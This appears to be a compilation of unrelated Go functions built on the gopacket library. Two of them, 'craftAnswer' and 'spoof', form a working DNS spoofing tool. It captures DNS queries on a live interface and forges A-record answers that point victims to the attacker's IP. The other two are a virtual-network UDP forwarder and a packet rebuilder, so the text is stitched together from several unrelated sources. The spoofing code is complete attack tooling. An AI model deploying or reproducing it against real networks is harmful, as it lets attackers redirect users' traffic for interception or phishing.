/* FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{ RETURNS: Byte array containing the spoofed response DNS packet data ARGUMENTS: *layers.Ethernet ethernetLayer - the ethernet part of the packet recieved *layers.DNS dnsLayer - the dns part of the packet recieved *layers.IPv4 ipLayer - the ip part of the packet recieved *layers.UDP udpLayer - the udp part of the packet recieved ABOUT: Crafts a spoofed dns packet using the incoming query. */ func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte { //if not a question return if dnsLayer.QR || ipLayer.SrcIP.String() != target { return nil } //must build every layer to send DNS packets ethMac := ethernetLayer.DstMAC ethernetLayer.DstMAC = ethernetLayer.SrcMAC ethernetLayer.SrcMAC = ethMac ipSrc := ipLayer.SrcIP ipLayer.SrcIP = ipLayer.DstIP ipLayer.DstIP = ipSrc srcPort := udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = srcPort err = udpLayer.SetNetworkLayerForChecksum(ipLayer) checkError(err) var answer layers.DNSResourceRecord answer.Type = layers.DNSTypeA answer.Class = layers.DNSClassIN answer.TTL = 200 answer.IP = ipAddr dnsLayer.QR = true for _, q := range dnsLayer.Questions { if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } answer.Name = q.Name dnsLayer.Answers = append(dnsLayer.Answers, answer) dnsLayer.ANCount = dnsLayer.ANCount + 1 } buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer) checkError(err) return buf.Bytes() }
func (vnet *VNET) handleUDPForward(pkt *Packet, now time.Time) { defer pkt.Release() // fmt.Printf("UDP: %08x %s\n", pkt.Flags, pkt.String()) var err error if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) { // ignore return } if pkt.DstHost == nil { // ignore return } if !pkt.DstHost.Up { log.Printf("destination is down: %s", pkt.DstHost.Name) // ignore return } var ( srcIP net.IP dstIP net.IP srcPort = uint16(pkt.UDP.SrcPort) dstPort = uint16(pkt.UDP.DstPort) ) if pkt.IPv4 != nil { srcIP = CloneIP(pkt.IPv4.SrcIP.To16()) dstIP = CloneIP(pkt.IPv4.DstIP.To16()) } else if pkt.IPv6 != nil { srcIP = CloneIP(pkt.IPv6.SrcIP.To16()) dstIP = CloneIP(pkt.IPv6.DstIP.To16()) } else { log.Printf("invalid protocol") // ignore return } route := vnet.routes.GetTable().Lookup( protocols.UDP, srcIP, dstIP, srcPort, dstPort) if route == nil { rule, found := vnet.rules.GetTable().Lookup(protocols.UDP, pkt.DstHost.ID, dstPort) if !found { log.Printf("no rule") // ignore return } var ruleDstIP = rule.DstIP if ruleDstIP == nil { gateway := vnet.hosts.GetTable().LookupByName("gateway") if gateway == nil || !gateway.Up { log.Printf("no gateway") // ignore return } if dstIP.To4() != nil { if len(gateway.IPv4Addrs) > 0 { ruleDstIP = gateway.IPv4Addrs[0] } } else { if len(gateway.IPv6Addrs) > 0 { ruleDstIP = gateway.IPv6Addrs[0] } } } if ruleDstIP == nil { log.Printf("no destination ip") // ignore return } var r routes.Route r.Protocol = protocols.UDP r.HostID = pkt.DstHost.ID r.SetInboundSource(srcIP, srcPort) r.SetInboundDestination(dstIP, dstPort) r.SetOutboundDestination(ruleDstIP, rule.DstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("UDP/error: %s", err) return } } if route == nil { log.Printf("no route") // ignore return } var ( eth layers.Ethernet udp layers.UDP ) eth = *pkt.Eth eth.SrcMAC, eth.DstMAC = eth.DstMAC, eth.SrcMAC udp = *pkt.UDP udp.SrcPort = layers.UDPPort(route.Outbound.SrcPort) udp.DstPort = layers.UDPPort(route.Outbound.DstPort) if route.Outbound.DstIP.To4() != nil { ip := layers.IPv4{ SrcIP: route.Outbound.SrcIP.To4(), DstIP: route.Outbound.DstIP.To4(), Version: 4, Protocol: layers.IPProtocolUDP, TTL: 64, } udp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &udp, gopacket.Payload(pkt.UDP.Payload)) if err != nil { log.Printf("UDP/error: %s", err) return } } else { ip := layers.IPv6{ SrcIP: route.Outbound.SrcIP.To16(), DstIP: route.Outbound.DstIP.To16(), Version: 4, NextHeader: layers.IPProtocolUDP, } udp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &udp, gopacket.Payload(pkt.UDP.Payload)) if err != nil { log.Printf("UDP/error: %s", err) return } } route.RoutedPacket(now, len(pkt.buf)) }
func (h *dnsStream) creatPacket(msg_buf []byte, nomalPack chan gopacket.Packet) { var sourcePort, DesPort int16 //read the port from tranport flow b_buf := bytes.NewBuffer(h.transport.Src().Raw()) binary.Read(b_buf, binary.BigEndian, &sourcePort) b_buf = bytes.NewBuffer(h.transport.Dst().Raw()) binary.Read(b_buf, binary.BigEndian, &DesPort) //new a UDP layer udpLayer := layers.UDP{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: msg_buf, }, SrcPort: layers.UDPPort(sourcePort), DstPort: layers.UDPPort(DesPort), Length: 1024, Checksum: 30026, } UDPNewSerializBuffer := gopacket.NewSerializeBuffer() // this buffer could be used as a payload of IP layer udpBuffer, _ := UDPNewSerializBuffer.PrependBytes(len(msg_buf)) copy(udpBuffer, msg_buf) ops := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if h.net.EndpointType() == layers.EndpointIPv4 { ip_checksum := layers.IPv4{} ip_checksum.Version = 4 ip_checksum.TTL = 0 ip_checksum.SrcIP = h.net.Src().Raw() ip_checksum.DstIP = h.net.Dst().Raw() udpLayer.SetNetworkLayerForChecksum(&ip_checksum) } else { ip6_checksum := layers.IPv6{} ip6_checksum.Version = 6 ip6_checksum.NextHeader = layers.IPProtocolNoNextHeader ip6_checksum.HopLimit = 0 ip6_checksum.SrcIP = h.net.Src().Raw() ip6_checksum.DstIP = h.net.Dst().Raw() udpLayer.SetNetworkLayerForChecksum(&ip6_checksum) } err := udpLayer.SerializeTo(UDPNewSerializBuffer, ops) if err != nil { fmt.Print("error in create udp Layer") return //err = nil // need err handle there } fmt.Println("finished creat udplayer, the length is ", udpLayer.Length) if h.net.EndpointType() == layers.EndpointIPv4 { // if it is from ipv4, construct a ipv4 layer ip := layers.IPv4{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: UDPNewSerializBuffer.Bytes(), }, Version: 4, IHL: 0, TOS: 0, Length: 0, Id: 0, Flags: 0, FragOffset: 0, TTL: 0, Protocol: layers.IPProtocolUDP, Checksum: 0, SrcIP: h.net.Src().Raw(), DstIP: h.net.Dst().Raw(), Options: []layers.IPv4Option{}, Padding: []byte{}, } //serialize it and use the serilize buffer to new packet IPserializeBuffer := gopacket.NewSerializeBuffer() ipBuffer, _ := IPserializeBuffer.PrependBytes(len(UDPNewSerializBuffer.Bytes())) copy(ipBuffer, UDPNewSerializBuffer.Bytes()) err = ip.SerializeTo(IPserializeBuffer, ops) if err != nil { fmt.Print("error in create ipv4 Layer") return //err = nil // need err handle there } fmt.Println("finished creat ip, the length is ", ip.Length) resultPack := gopacket.NewPacket(IPserializeBuffer.Bytes(), layers.LayerTypeIPv4, gopacket.Default) resultPack.Metadata().CaptureLength = len(resultPack.Data()) resultPack.Metadata().Length = len(resultPack.Data()) //seems the capture length is 0 so the pcapwrite cannot write it, try to give them a write value nomalPack <- resultPack return } else if h.net.EndpointType() == layers.EndpointIPv6 { // if it is in IPV6 contruct ipv6 packet ip := layers.IPv6{ BaseLayer: layers.BaseLayer{ Contents: []byte{}, Payload: UDPNewSerializBuffer.Bytes(), }, Version: 6, TrafficClass: 0, FlowLabel: 0, Length: 0, NextHeader: layers.IPProtocolNoNextHeader, //no sure what next header should be used there HopLimit: 0, SrcIP: h.net.Src().Raw(), DstIP: h.net.Dst().Raw(), HopByHop: nil, // hbh will be pointed to by HopByHop if that layer exists. } IPserializeBuffer := gopacket.NewSerializeBuffer() err := ip.SerializeTo(IPserializeBuffer, ops) if err != nil { fmt.Printf("error in creat IPV6 Layer") return } fmt.Println("finished creat ip, the length is ", ip.Length) resultPack := gopacket.NewPacket(IPserializeBuffer.Bytes(), layers.LayerTypeIPv6, gopacket.Default) resultPack.Metadata().CaptureLength = len(resultPack.Data()) resultPack.Metadata().Length = len(resultPack.Data()) //seems the capture length is 0 so the pcapwrite cannot write it, try to give them a write value nomalPack <- resultPack return } else { return //unknown network just return? } }
/* Spoof is the entry point for the actual spoofing subroutine. Spoof handles getting packets from the NICs, identifying DNS queries, and seding responses. It is mostly concerened with the packet level logic, and does not manipulate the responses themselves */ func spoof(ifacename string) { // get our local ip ip := getIfaceAddr(ifacename) if ip == nil { panic("Unable to get IP") } // open a handle to the network card(s) ifaceHandle, err := pcap.OpenLive(ifacename, 1600, true, pcap.BlockForever) if err != nil { panic(err) } defer ifaceHandle.Close() // set the filter err = ifaceHandle.SetBPFFilter("udp and dst port 53") if err != nil { // not fatal fmt.Printf("Unable to set filter: %v\n", err.Error()) } // pre-allocate all the space needed for the layers var ethLayer layers.Ethernet var ipv4Layer layers.IPv4 var udpLayer layers.UDP var dnsLayer layers.DNS var q layers.DNSQuestion var a layers.DNSResourceRecord // create the decoder for fast-packet decoding // (using the fast decoder takes about 10% the time of normal decoding) decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) // this slick will hold the names of the layers successfully decoded decodedLayers := make([]gopacket.LayerType, 0, 4) // pre-create the response with most of the data filled out a.Type = layers.DNSTypeA a.Class = layers.DNSClassIN a.TTL = 300 a.IP = ip // create a buffer for writing output packet outbuf := gopacket.NewSerializeBuffer() // TODO (Optionally) replace with NewSerializeBufferExpectedSize to speed up a bit more // set the arguments for serialization serialOpts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } // pre-allocate loop counter var i uint16 // swap storage for ip and udp fields var ipv4Addr net.IP var udpPort layers.UDPPort var ethMac net.HardwareAddr // Main loop for dns packets intercepted // No new allocations after this point to keep garbage collector // cyles at a minimum for { packetData, _, err := ifaceHandle.ZeroCopyReadPacketData() if err != nil { break } fmt.Println("Got packet from filter") // decode this packet using the fast decoder err = decoder.DecodeLayers(packetData, &decodedLayers) if err != nil { fmt.Println("Decoding error!") continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") continue } // check that this is not a response if dnsLayer.QR { continue } // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Println(string(dnsLayer.Questions[i].Name)) } // set this to be a response dnsLayer.QR = true // if recursion was requested, it is available if dnsLayer.RD { dnsLayer.RA = true } // for each question for i = 0; i < dnsLayer.QDCount; i++ { // get the question q = dnsLayer.Questions[i] // verify this is an A-IN record question if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN { continue } // copy the name across to the response a.Name = q.Name // append the answer to the original query packet dnsLayer.Answers = append(dnsLayer.Answers, a) dnsLayer.ANCount = dnsLayer.ANCount + 1 } // swap ethernet macs ethMac = ethLayer.SrcMAC ethLayer.SrcMAC = ethLayer.DstMAC ethLayer.DstMAC = ethMac // swap the ip ipv4Addr = ipv4Layer.SrcIP ipv4Layer.SrcIP = ipv4Layer.DstIP ipv4Layer.DstIP = ipv4Addr // swap the udp ports udpPort = udpLayer.SrcPort udpLayer.SrcPort = udpLayer.DstPort udpLayer.DstPort = udpPort // set the UDP to be checksummed by the IP layer err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer) if err != nil { panic(err) } // serialize packets err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer) if err != nil { panic(err) } // write packet err = ifaceHandle.WritePacketData(outbuf.Bytes()) if err != nil { panic(err) } fmt.Println("Response sent") // comment out for debugging continue // DEBUGGG-------------------------------------------------------------- err = decoder.DecodeLayers(outbuf.Bytes(), &decodedLayers) if err != nil { fmt.Println("Decoding error: " + err.Error()) continue } // only proceed if all layers decoded if len(decodedLayers) != 4 { fmt.Println("Not enough layers!") for j := range decodedLayers { fmt.Println(decodedLayers[j]) } continue } // print packet fmt.Printf("IP src %v\n", ipv4Layer.SrcIP) fmt.Printf("IP dst %v\n", ipv4Layer.DstIP) fmt.Printf("UDP src port: %v\n", udpLayer.SrcPort) fmt.Printf("UDP dst port: %v\n", udpLayer.DstPort) fmt.Printf("DNS Quy count: %v\n", dnsLayer.QDCount) // print the question section for i = 0; i < dnsLayer.QDCount; i++ { fmt.Printf("%v\n", string(dnsLayer.Questions[i].Name)) } fmt.Printf("DNS Ans count: %v\n", dnsLayer.ANCount) // print the question section for i = 0; i < dnsLayer.ANCount; i++ { fmt.Printf("%v type %v\n", string(dnsLayer.Answers[i].Name), dnsLayer.Answers[i].Type) fmt.Printf("\t%v\n", dnsLayer.Answers[i].IP) } break } }